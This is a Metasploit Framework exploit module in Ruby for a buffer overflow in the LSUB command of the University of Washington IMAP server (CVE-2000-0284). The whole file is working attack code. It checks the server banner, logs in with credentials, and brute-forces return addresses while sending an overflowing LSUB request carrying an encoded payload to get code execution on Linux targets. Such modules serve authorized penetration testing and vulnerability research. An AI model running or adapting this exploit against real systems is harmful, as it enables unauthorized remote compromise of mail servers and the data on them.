##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the 'LSUB'
				command of the University of Washington IMAP service.
				This vulnerability can only be exploited with a valid username
				and password.
			},
			'Author'         => [ 'patrick', 'jduck' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2000-0284' ],
					[ 'OSVDB', '12037' ],
					[ 'BID', '1110' ],
					[ 'EDB', '284' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 964,
					'BadChars' => "\x00\x0a\x0d\x2f",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'linux',
			'Targets'        =>
				[
					# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
					[ 'Linux Bruteforce',
						{
							'Platform'   => 'linux',
							'Offset'     => 1064,
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xbffffdfc },
									'Stop'  => { 'Ret' => 0xbfa00000 },
									'Step'  => 200
								}
						},
					]
				],
			'DisclosureDate' => 'Apr 16 2000',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /IMAP4rev1 v12.264/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe

	end

	def brute_exploit(addresses)
		print_status("Trying 0x%.8x ..." % addresses['Ret'])

		if (not connect_login)
			fail_with(Exploit::Failure::Unknown, "Unable to log in!")
		end

		req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
		sock.put(req)
		buf = sock.get_once

		sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
		sock.put(sploit)

		handler
		disconnect
	end

end
